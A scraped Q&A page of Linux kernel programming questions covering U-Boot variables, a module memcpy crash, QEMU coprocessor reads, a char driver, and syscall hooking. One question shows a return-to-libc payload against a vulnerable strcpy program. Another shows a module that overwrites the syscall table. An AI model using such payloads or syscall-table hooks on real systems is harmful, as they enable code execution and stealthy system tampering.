Access u-boot variable from kernel userspace - linux-kernel

I was trying to get a u-boot variable from logo.c(/drivers/video/logo/logo.c). Please let me know how can I access the variable from logo.c file. I want to get the value of console. If I use "fw_printenv console" command, the output is console=ttys0. I want to get the output value of the u-boot variable(fw_printenv console) from logo.c.

In u-boot : add console=ttys0 to bootargs
setenv bootargs console=ttys0
In Kernel file : kernel_source/init/main.c
add early_param :
char MyConsole[32]={0};
static int __init myconsole(char *str)
{
printk("%s\n", str);
memcpy(MyConsole, str, strlen(str));
}
early_param("myconsole", myconsole);
In logo.c, Access this variable.
extern char MyConsole[];

Related

Kernel Error while using memcpy in the kernel module to change the content of the buffer passed as argument to the exported function

I have two kernel modules where first module had one function exported and second module uses this function to read spi data. sample program is given below
Module-1:
int spi_fun(uint8_t *tx_buf, uint8_t *rx_buf,int len)
{
spi_sync_txrx(tx_buf,rx_buf,len);
}
Module-2:
void dummy_fun()
{
uint8_t tx[4]={0};
uint8_t rx[4]={0};
spi_fun(tx,rx,4);
}
the above mentioned scenario is working fine. If I declare a local rx buffer(spi_data[4]) inside spi_fun(), and use memcpy to copy spi_data contents to the rx_buf, kernel is crashing with error as given below
New Module-2 fun:
Module-1:
int spi_fun(uint8_t *tx_buf, uint8_t *rx_buf,int len)
{
uint8_t spi_data[4];
spi_sync_txrx(tx_buf,spi_data,len);
memcpy(rx_buf, spi_data, len); //here error
}
Kernel Error:
Internal error: Accessing user space memory outside uaccess.h
routines: 96000045 [#1] PREEMPT SMP
I have used copy_from_user/copy_to_user functions, but i was getting target buffer as zeroes.
Does anyone experienced this issue???

Does QEMU emulate ARM coprocessor

I need to implement a kernel module that involves reading the ARM Cortex-A9 coprocessor's register:
register int reg asm ("r6");
reg = -2;
volatile printk(KERN_INFO "reg: %d\n", reg);
volatile asm("MRC p15, 0,r6, c1, c0, 2;"); //Read Coprocessor Access Control Register
volatile printk(KERN_INFO "reg: %d\n", reg);
However, when i run this on QEMU, it always print out:
reg: -2
reg: -2
Is this because of my code or is it because of QEMU?
Thanks in advance.
Your code should work fine (though you need to remove volatile from printk lines, and ASM command should be asm volatile, not the other way around). Try to check next things:
QEMU version. I'm using 2.12 and your code works. So if you're using older version, try 2.12 too.
Emulated machine and cpu. Not sure if it affects CP registers, but I'm using "virt" machine with no CPU specified, you can try this configuration too.
If this doesn't help, check more details about my configuration below.
My configuration
I'm using next command to run QEMU:
$ qemu-system-arm -kernel $zimage -initrd $rootfs \
-machine virt -nographic -m 512 \
--append "root=/dev/ram0 rw console=ttyAMA0,115200 mem=512M"
where:
$zimage is path to zImage file (my kernel is linux-mainline on tag v4.18, built with multi_v7_defconfig configuration)
$rootfs is path to CPIO archive with minimal BusyBox rootfs
My kernel module code is next:
#include <linux/module.h>
static int __init mrc_init(void)
{
u32 acr;
/*
* Read Coprocessor Access Control Register.
* See Cortex-A9 TRM for details.
*/
asm volatile ("mrc p15, 0, %0, c1, c0, 2\n" : "=r" (acr));
pr_info("ACR = 0x%x\n", acr);
return 0;
}
static void __exit mrc_exit(void)
{
}
module_init(mrc_init);
module_exit(mrc_exit);
MODULE_AUTHOR("Sam Protsenko");
MODULE_DESCRIPTION("Test MRC on QEMU");
MODULE_LICENSE("GPL");
After loading this module I can see next output in dmesg:
ACR = 0xf00000

I want to try a return-to-libc attack

The program I want to attack is the following:
int main(int argc, char *argv[])
{
char buffer[256];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
It is in redhat 6.2, so I didn't think there was anything to consider.
So I tried this:
(gdb) b main
Breakpoint 1 at 0x8048439
(gdb) r
Starting program: /home/asdf/asdfghj
Breakpoint 1, 0x8048439 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb) x/s 0xbfffff8e
0xbfffff8e: "/bin/bash"
(gdb) q
So my payload looked like this, the first 260 bytes being the buffer+sfp, then the address of the system function, a 4 byte dummy, and the address of the argument, "/bin/bash".
./asdfghj `perl -e 'print "\x90"x260, "\xe0\x8a\x05\x40", "AAAA", "\x8e\xff\xff\xbf"'`
However this still gives me only a segmentation fault. I have no idea how to fix this, and the addresses come from the dumped core of the program which I set a breakpoint, ran it, then got the addresses.
What should I check to successfully attack the program and what do you think is the problem? Is it that I use /bin/bash, or any of the addresses incorrect?
Plus, I've already set bash2 for default.
Thanks. :)

Regarding how the parameters to the read function is passed in simple char driver

I am newbei to driver programming i am started writing the simple char driver . Then i created special file for my char driver mknod /dev/simple-driver c 250 0 .when it type cat /dev/simple-driver. it shows the string "Hello world from Kernel mode!". i know that function
static const char g_s_Hello_World_string[] = "Hello world tamil_vanan!\n\0";
static const ssize_t g_s_Hello_World_size = sizeof(g_s_Hello_World_string);
static ssize_t device_file_read(
struct file *file_ptr
, char __user *user_buffer
, size_t count
, loff_t *possition)
{
printk( KERN_NOTICE "Simple-driver: Device file is read at offset =
%i, read bytes count = %u", (int)*possition , (unsigned int)count );
if( *possition >= g_s_Hello_World_size )
return 0;
if( *possition + count > g_s_Hello_World_size )
count = g_s_Hello_World_size - *possition;
if( copy_to_user(user_buffer, g_s_Hello_World_string + *possition, count) != 0 )
return -EFAULT;
*possition += count;
return count;
}
is get called . This is mapped to (*read) in file_opreation structure of my driver .My question is how this function is get called , how the parameters like struct file,char,count, offset are passed bcoz is i simply typed cat command ..Please elabroate how this happening
In Linux all are considered as files. The type of file, whether it is a driver file or normal file depends upon the mount point where it is mounted.
For Eg: If we consider your case : cat /dev/simple-driver traverses back to the mount point of device files.
From the device file name simple-driver it retrieves Major and Minor number.
From those number(especially from minor number) it associates the driver file for your character driver.
From the driver it uses struct file ops structure to find the read function, which is nothing but your read function:
static ssize_t device_file_read(struct file *file_ptr, char __user *user_buffer, size_t count, loff_t *possition)
User_buffer will always take sizeof(size_t count).It is better to keep a check of buffer(In some cases it throws warning)
String is copied to User_buffer(copy_to_user is used to check kernel flags during copy operation).
postion is 0 for first copy and it increments in the order of count:position+=count.
Once read function returns the buffer to cat. and cat flushes the buffer contents on std_out which is nothing but your console.
cat will use some posix version of read call from glibc. Glibc will put the arguments on the stack or in registers (this depends on your hardware architecture) and will switch to kernel mode. In the kernel the values will be copied to the kernel stack. And in the end your read function will be called.

Problems doing syscall hooking

I use the following module code to hooks syscall, (code credited to someone else, e.g., Linux Kernel: System call hooking example).
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/moduleparam.h>
#include <linux/unistd.h>
#include <asm/semaphore.h>
#include <asm/cacheflush.h>
void **sys_call_table;
asmlinkage int (*original_call) (const char*, int, int);
asmlinkage int our_sys_open(const char* file, int flags, int mode)
{
printk(KERN_ALERT "A file was opened\n");
return original_call(file, flags, mode);
}
int set_page_rw(long unsigned int _addr)
{
struct page *pg;
pgprot_t prot;
pg = virt_to_page(_addr);
prot.pgprot = VM_READ | VM_WRITE;
return change_page_attr(pg, 1, prot);
}
int init_module()
{
// sys_call_table address in System.map
sys_call_table = (void*)0xffffffff804a1ba0;
original_call = sys_call_table[1024];
set_page_rw(sys_call_table);
sys_call_table[1024] = our_sys_open;
return 0;
}
void cleanup_module()
{
// Restore the original call
sys_call_table[1024] = original_call;
}
When insmod the compiled .ko file, terminal throws "Killed". When looking into 'cat /proc/modules' file, I get the Loading status.
my_module 10512 1 - Loading 0xffffffff882e7000 (P)
As expected, I can not rmmod this module, as it complains its in use. The system is rebooted to get a clean-slate status.
Later on, after commenting two code lines in the above source sys_call_table[1024] = our_sys_open; and sys_call_table[1024] = original_call;, it can insmod successfully. More interestingly, when uncommenting these two lines (change back to the original code), the compiled module can be insmod successfully. I dont quite understand why this happens? And is there any way to successfully compile the code and insmod it directly?
I did all this on Redhat with linux kernel 2.6.24.6.
I think you should take a look to the kprobes API, which is well documented in Documentation/krpobes.txt. It gives you the ability to install handler on every address (e.g. syscall entry) so that you can do what you want. Added bonus is that your code would be more portable.
If you're only interested in tracing those syscalls you can use the audit subsystem, coding your own userland daemon which will be able to receive events on a NETLINK socket from the audit kthread. libaudit provides a simple API to register/read events.
If you do have a good reason with not using kprobes/audit, I would suggest that you check that the value you are trying to write to is not above the page that you set writable. A quick calculation shows that:
offset_in_sys_call_table * sizeof(*sys_call_table) = 1024 * 8 = 8192
which is two pages after the one you set writable if you are using 4K pages.

Resources